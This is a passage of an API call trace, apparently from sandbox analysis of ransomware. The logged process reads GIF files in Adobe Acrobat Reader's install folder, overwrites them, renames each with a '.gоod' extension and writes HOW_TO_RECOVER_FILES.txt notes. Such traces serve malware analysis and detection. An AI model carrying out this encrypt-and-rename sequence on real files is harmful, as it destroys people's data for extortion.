DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x8d [0193.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.gоod", lpFilePart=0x0) returned 0x92 [0193.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0193.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6f57e5a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0193.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0193.154] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.gоod")) returned 1 [0193.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", lpFilePart=0x0) returned 0x85 [0193.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0193.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif"), fInfoLevelId=0x0, lpFileInformation=0x34ba638 | out: lpFileInformation=0x34ba638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0193.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0193.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", lpFilePart=0x0) returned 0x85 [0193.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.156] GetFileType (hFile=0x818) returned 0x1 [0193.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.156] GetFileType (hFile=0x818) returned 0x1 [0193.156] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x40 [0193.156] ReadFile (in: hFile=0x818, lpBuffer=0x34baa20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x34baa20*, lpNumberOfBytesRead=0x1fdea558*=0x40, lpOverlapped=0x0) returned 1 [0193.156] CloseHandle (hObject=0x818) returned 1 [0193.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", lpFilePart=0x0) returned 0x85 [0193.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.191] GetFileType (hFile=0x818) returned 0x1 [0193.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.192] GetFileType (hFile=0x818) returned 0x1 [0193.192] WriteFile (in: hFile=0x818, lpBuffer=0x3532400*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3532400*, lpNumberOfBytesWritten=0x1fdea468*=0x50, lpOverlapped=0x0) returned 1 [0193.192] CloseHandle (hObject=0x818) returned 1 [0193.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif", lpFilePart=0x0) returned 0x85 [0193.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.gоod", lpFilePart=0x0) returned 0x8a [0193.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0193.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6f5caaea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0193.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0193.193] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right.gif.gоod")) returned 1 [0193.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x8a [0193.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0193.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x3533810 | out: lpFileInformation=0x3533810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39)) returned 1 [0193.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0193.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x8a [0193.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.194] GetFileType (hFile=0x818) returned 0x1 [0193.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.194] GetFileType (hFile=0x818) returned 0x1 [0193.194] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x39 [0193.194] ReadFile (in: hFile=0x818, lpBuffer=0x3533c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x3533c28*, lpNumberOfBytesRead=0x1fdea558*=0x39, lpOverlapped=0x0) returned 1 [0193.661] CloseHandle (hObject=0x818) returned 1 [0193.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x8a [0193.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0193.781] GetFileType (hFile=0x838) returned 0x1 [0193.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.781] GetFileType (hFile=0x838) returned 0x1 [0193.781] WriteFile (in: hFile=0x838, lpBuffer=0x34fc020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x34fc020*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0193.782] CloseHandle (hObject=0x838) returned 1 [0193.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x8a [0193.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.gоod", lpFilePart=0x0) returned 0x8f [0193.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0193.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6fb7c882, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0193.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0193.782] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up-pressed.gif.gоod")) returned 1 [0193.785] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", lpFilePart=0x0) returned 0x82 [0193.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0193.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif"), fInfoLevelId=0x0, lpFileInformation=0x34fd448 | out: lpFileInformation=0x34fd448*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39)) returned 1 [0193.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0193.785] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", lpFilePart=0x0) returned 0x82 [0193.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0193.785] GetFileType (hFile=0x838) returned 0x1 [0193.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.785] GetFileType (hFile=0x838) returned 0x1 [0193.785] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x39 [0193.785] ReadFile (in: hFile=0x838, lpBuffer=0x34fd820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x34fd820*, lpNumberOfBytesRead=0x1fdea558*=0x39, lpOverlapped=0x0) returned 1 [0193.786] CloseHandle (hObject=0x838) returned 1 [0196.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", lpFilePart=0x0) returned 0x82 [0196.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0196.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0196.063] GetFileType (hFile=0x7c8) returned 0x1 [0196.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0196.063] GetFileType (hFile=0x7c8) returned 0x1 [0196.063] WriteFile (in: hFile=0x7c8, lpBuffer=0x377b080*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x377b080*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0196.064] CloseHandle (hObject=0x7c8) returned 1 [0196.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif", lpFilePart=0x0) returned 0x82 [0196.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.gоod", lpFilePart=0x0) returned 0x87 [0196.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0196.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7113e0ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0196.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0196.064] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-up.gif.gоod")) returned 1 [0196.065] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0196.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0196.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.066] GetFileType (hFile=0x7c8) returned 0x1 [0196.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0196.066] GetFileType (hFile=0x7c8) returned 0x1 [0196.067] WriteFile (in: hFile=0x7c8, lpBuffer=0x377e968*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x377e968*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0196.068] CloseHandle (hObject=0x7c8) returned 1 [0196.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0196.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0196.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.068] GetFileType (hFile=0x7c8) returned 0x1 [0196.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 